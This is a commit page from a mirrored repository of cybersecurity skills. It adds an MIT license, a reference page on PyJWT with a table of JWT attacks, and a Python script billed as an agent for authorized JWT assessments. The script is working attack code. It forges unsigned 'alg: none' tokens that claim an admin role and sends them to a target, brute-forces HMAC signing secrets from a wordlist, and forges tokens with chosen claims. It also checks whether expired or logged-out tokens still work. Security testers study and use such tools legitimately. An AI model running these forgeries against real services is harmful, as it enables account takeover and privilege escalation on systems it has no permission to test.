mirror of
https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
synced 2026-07-05 15:29:01 +03:00
Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills
Complete skill folder anatomy across all cybersecurity skills: - scripts/agent.py: 80-150 line Python agents using real libraries (impacket, boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.) - references/api-reference.md: real API documentation with method signatures - LICENSE: MIT license for all skill folders
This commit is contained in:
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,68 @@
|
||||
# API Reference: Testing JWT Token Security
|
||||
|
||||
## PyJWT Library
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install PyJWT
|
||||
```
|
||||
|
||||
### Encoding (Creating Tokens)
|
||||
```python
|
||||
import jwt
|
||||
token = jwt.encode(payload, secret, algorithm="HS256")
|
||||
```
|
||||
|
||||
### Decoding
|
||||
```python
|
||||
# Without verification (for analysis)
|
||||
payload = jwt.decode(token, options={"verify_signature": False})
|
||||
|
||||
# With verification
|
||||
payload = jwt.decode(token, secret, algorithms=["HS256"])
|
||||
```
|
||||
|
||||
### Supported Algorithms
|
||||
| Algorithm | Type | Description |
|
||||
|-----------|------|-------------|
|
||||
| `HS256` | HMAC | SHA-256 symmetric signing |
|
||||
| `HS384` | HMAC | SHA-384 symmetric signing |
|
||||
| `HS512` | HMAC | SHA-512 symmetric signing |
|
||||
| `RS256` | RSA | SHA-256 asymmetric signing |
|
||||
| `RS384` | RSA | SHA-384 asymmetric signing |
|
||||
| `ES256` | ECDSA | P-256 curve signing |
|
||||
|
||||
## JWT Attack Types
|
||||
| Attack | Description | Severity |
|
||||
|--------|-------------|----------|
|
||||
| Algorithm None | Set alg to "none", remove signature | Critical |
|
||||
| Algorithm Confusion | Switch RS256 to HS256, sign with public key | Critical |
|
||||
| HMAC Brute Force | Crack weak signing secrets | Critical |
|
||||
| JKU Injection | Point JWK Set URL to attacker server | Critical |
|
||||
| KID Injection | SQL injection or path traversal in Key ID | Critical |
|
||||
| Claim Tampering | Modify role/sub claims after key compromise | High |
|
||||
| Expired Token Reuse | Use tokens past expiration | High |
|
||||
| No Revocation | Tokens valid after logout/password change | High |
|
||||
|
||||
## JWT Structure
|
||||
```
|
||||
Header.Payload.Signature
|
||||
base64url({"alg":"HS256","typ":"JWT"}).base64url({"sub":"1","role":"user"}).HMACSHA256(...)
|
||||
```
|
||||
|
||||
## Standard Claims
|
||||
| Claim | Description |
|
||||
|-------|-------------|
|
||||
| `iss` | Token issuer |
|
||||
| `sub` | Subject (user identifier) |
|
||||
| `aud` | Intended audience |
|
||||
| `exp` | Expiration time (Unix timestamp) |
|
||||
| `nbf` | Not valid before time |
|
||||
| `iat` | Issued at time |
|
||||
| `jti` | Unique token identifier |
|
||||
|
||||
## References
|
||||
- PyJWT docs: https://pyjwt.readthedocs.io/
|
||||
- jwt_tool: https://github.com/ticarpi/jwt_tool
|
||||
- JWT attacks: https://portswigger.net/web-security/jwt
|
||||
- RFC 7519 (JWT): https://www.rfc-editor.org/rfc/rfc7519
|
||||
@@ -0,0 +1,237 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Agent for testing JWT token security during authorized assessments."""
|
||||
|
||||
import jwt
|
||||
import json
|
||||
import sys
|
||||
import hmac
|
||||
import hashlib
|
||||
import base64
|
||||
import argparse
|
||||
import requests
|
||||
import urllib3
|
||||
from datetime import datetime, timedelta, timezone
|
||||
from urllib.parse import urljoin
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
|
||||
def decode_jwt(token):
|
||||
"""Decode and display JWT header and payload without verification."""
|
||||
parts = token.split(".")
|
||||
if len(parts) != 3:
|
||||
print("[-] Invalid JWT format (expected 3 parts)")
|
||||
return None, None
|
||||
|
||||
def b64_decode(data):
|
||||
padding = 4 - len(data) % 4
|
||||
data += "=" * padding
|
||||
return base64.urlsafe_b64decode(data)
|
||||
|
||||
header = json.loads(b64_decode(parts[0]))
|
||||
payload = json.loads(b64_decode(parts[1]))
|
||||
|
||||
print("[*] JWT Header:")
|
||||
print(json.dumps(header, indent=2))
|
||||
print("\n[*] JWT Payload:")
|
||||
print(json.dumps(payload, indent=2))
|
||||
|
||||
if "exp" in payload:
|
||||
exp_time = datetime.fromtimestamp(payload["exp"], tz=timezone.utc)
|
||||
now = datetime.now(timezone.utc)
|
||||
if exp_time < now:
|
||||
print(f"\n [!] Token EXPIRED at {exp_time.isoformat()}")
|
||||
else:
|
||||
remaining = exp_time - now
|
||||
print(f"\n [+] Token expires at {exp_time.isoformat()} ({remaining} remaining)")
|
||||
return header, payload
|
||||
|
||||
|
||||
def test_alg_none(token, target_url=None):
|
||||
"""Test algorithm none attack - forge token without signature."""
|
||||
print("\n[*] Testing algorithm 'none' attack...")
|
||||
parts = token.split(".")
|
||||
payload_data = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
|
||||
findings = []
|
||||
|
||||
for alg in ["none", "None", "NONE", "nOnE"]:
|
||||
header = base64.urlsafe_b64encode(
|
||||
json.dumps({"alg": alg, "typ": "JWT"}).encode()
|
||||
).rstrip(b"=").decode()
|
||||
payload_data["role"] = "admin"
|
||||
payload_encoded = base64.urlsafe_b64encode(
|
||||
json.dumps(payload_data).encode()
|
||||
).rstrip(b"=").decode()
|
||||
forged = f"{header}.{payload_encoded}."
|
||||
|
||||
if target_url:
|
||||
try:
|
||||
resp = requests.get(target_url, headers={"Authorization": f"Bearer {forged}"},
|
||||
timeout=10, verify=False)
|
||||
if resp.status_code == 200:
|
||||
findings.append({
|
||||
"type": "ALG_NONE", "alg_value": alg,
|
||||
"status": resp.status_code, "severity": "CRITICAL",
|
||||
})
|
||||
print(f" [!] VULNERABLE: alg={alg} accepted (status {resp.status_code})")
|
||||
else:
|
||||
print(f" [+] alg={alg} rejected (status {resp.status_code})")
|
||||
except requests.RequestException:
|
||||
continue
|
||||
else:
|
||||
print(f" [*] Forged token (alg={alg}): {forged[:80]}...")
|
||||
return findings
|
||||
|
||||
|
||||
def test_hmac_brute_force(token, wordlist_path):
|
||||
"""Brute force HMAC secret using a wordlist."""
|
||||
print(f"\n[*] Brute forcing HMAC secret with {wordlist_path}...")
|
||||
parts = token.split(".")
|
||||
header = json.loads(base64.urlsafe_b64decode(parts[0] + "=="))
|
||||
alg = header.get("alg", "HS256")
|
||||
|
||||
if alg not in ("HS256", "HS384", "HS512"):
|
||||
print(f" [-] Algorithm {alg} is not HMAC-based, skipping")
|
||||
return None
|
||||
|
||||
signing_input = f"{parts[0]}.{parts[1]}".encode()
|
||||
signature = base64.urlsafe_b64decode(parts[2] + "==")
|
||||
hash_func = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}[alg]
|
||||
|
||||
try:
|
||||
with open(wordlist_path, "r", errors="ignore") as f:
|
||||
for i, line in enumerate(f):
|
||||
secret = line.strip()
|
||||
if not secret:
|
||||
continue
|
||||
computed = hmac.new(secret.encode(), signing_input, hash_func).digest()
|
||||
if hmac.compare_digest(computed, signature):
|
||||
print(f" [!] SECRET FOUND: '{secret}' (attempt {i+1})")
|
||||
return secret
|
||||
if (i + 1) % 10000 == 0:
|
||||
print(f" [*] Tried {i+1} secrets...")
|
||||
except FileNotFoundError:
|
||||
print(f" [-] Wordlist not found: {wordlist_path}")
|
||||
print(" [-] Secret not found in wordlist")
|
||||
return None
|
||||
|
||||
|
||||
def forge_token(secret, claims, algorithm="HS256"):
|
||||
"""Create a forged JWT with custom claims."""
|
||||
print(f"\n[*] Forging token with claims: {claims}")
|
||||
if "exp" not in claims:
|
||||
claims["exp"] = int((datetime.now(timezone.utc) + timedelta(hours=24)).timestamp())
|
||||
token = jwt.encode(claims, secret, algorithm=algorithm)
|
||||
print(f" [+] Forged token: {token[:80]}...")
|
||||
return token
|
||||
|
||||
|
||||
def test_expired_token(token, target_url):
|
||||
"""Test if expired tokens are still accepted."""
|
||||
print(f"\n[*] Testing expired token acceptance...")
|
||||
parts = token.split(".")
|
||||
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))
|
||||
if "exp" in payload and payload["exp"] < datetime.now(timezone.utc).timestamp():
|
||||
try:
|
||||
resp = requests.get(target_url, headers={"Authorization": f"Bearer {token}"},
|
||||
timeout=10, verify=False)
|
||||
if resp.status_code == 200:
|
||||
print(f" [!] VULNERABLE: Expired token accepted (status {resp.status_code})")
|
||||
return [{"type": "EXPIRED_TOKEN_ACCEPTED", "severity": "HIGH"}]
|
||||
else:
|
||||
print(f" [+] Expired token rejected (status {resp.status_code})")
|
||||
except requests.RequestException:
|
||||
pass
|
||||
else:
|
||||
print(" [*] Token not expired, skipping test")
|
||||
return []
|
||||
|
||||
|
||||
def test_token_after_logout(token, target_url, logout_url):
|
||||
"""Test if token is still valid after logout."""
|
||||
print(f"\n[*] Testing token validity after logout...")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
try:
|
||||
pre = requests.get(target_url, headers=headers, timeout=10, verify=False)
|
||||
if pre.status_code != 200:
|
||||
print(" [-] Token not valid pre-logout, skipping")
|
||||
return []
|
||||
requests.post(logout_url, headers=headers, timeout=10, verify=False)
|
||||
post = requests.get(target_url, headers=headers, timeout=10, verify=False)
|
||||
if post.status_code == 200:
|
||||
print(f" [!] VULNERABLE: Token still valid after logout")
|
||||
return [{"type": "NO_TOKEN_REVOCATION", "severity": "HIGH"}]
|
||||
else:
|
||||
print(f" [+] Token properly revoked after logout")
|
||||
except requests.RequestException:
|
||||
pass
|
||||
return []
|
||||
|
||||
|
||||
def check_jwks_endpoint(base_url):
|
||||
"""Check for JWKS and OpenID configuration endpoints."""
|
||||
print(f"\n[*] Checking for JWKS/OIDC endpoints...")
|
||||
endpoints = [
|
||||
"/.well-known/jwks.json", "/.well-known/openid-configuration",
|
||||
"/oauth/certs", "/auth/keys", "/.well-known/keys",
|
||||
]
|
||||
for ep in endpoints:
|
||||
url = urljoin(base_url, ep)
|
||||
try:
|
||||
resp = requests.get(url, timeout=10, verify=False)
|
||||
if resp.status_code == 200:
|
||||
print(f" [+] Found: {ep}")
|
||||
data = resp.json()
|
||||
if "keys" in data:
|
||||
for key in data["keys"]:
|
||||
print(f" Key ID: {key.get('kid', 'N/A')} | Alg: {key.get('alg', 'N/A')}")
|
||||
except (requests.RequestException, json.JSONDecodeError):
|
||||
continue
|
||||
|
||||
|
||||
def generate_report(findings, output_path):
|
||||
"""Generate JWT security assessment report."""
|
||||
report = {
|
||||
"assessment_date": datetime.now().isoformat(),
|
||||
"total_findings": len(findings),
|
||||
"findings": findings,
|
||||
}
|
||||
with open(output_path, "w") as fh:
|
||||
json.dump(report, fh, indent=2)
|
||||
print(f"\n[*] Report: {output_path} | Findings: {len(findings)}")
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="JWT Token Security Testing Agent")
|
||||
parser.add_argument("token", help="JWT token to test")
|
||||
parser.add_argument("--target-url", help="URL to test forged tokens against")
|
||||
parser.add_argument("--base-url", help="Base URL for JWKS discovery")
|
||||
parser.add_argument("--wordlist", help="Wordlist for HMAC brute force")
|
||||
parser.add_argument("--logout-url", help="Logout URL for revocation testing")
|
||||
parser.add_argument("--forge-claims", help="JSON claims to forge (requires --secret)")
|
||||
parser.add_argument("--secret", help="Known signing secret for forging")
|
||||
parser.add_argument("-o", "--output", default="jwt_report.json")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] JWT Token Security Assessment")
|
||||
findings = []
|
||||
header, payload = decode_jwt(args.token)
|
||||
if args.base_url:
|
||||
check_jwks_endpoint(args.base_url)
|
||||
findings.extend(test_alg_none(args.token, args.target_url))
|
||||
if args.wordlist:
|
||||
secret = test_hmac_brute_force(args.token, args.wordlist)
|
||||
if secret:
|
||||
findings.append({"type": "WEAK_HMAC_SECRET", "secret": secret, "severity": "CRITICAL"})
|
||||
if args.target_url:
|
||||
findings.extend(test_expired_token(args.token, args.target_url))
|
||||
if args.target_url and args.logout_url:
|
||||
findings.extend(test_token_after_logout(args.token, args.target_url, args.logout_url))
|
||||
if args.secret and args.forge_claims:
|
||||
claims = json.loads(args.forge_claims)
|
||||
forge_token(args.secret, claims)
|
||||
generate_report(findings, args.output)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user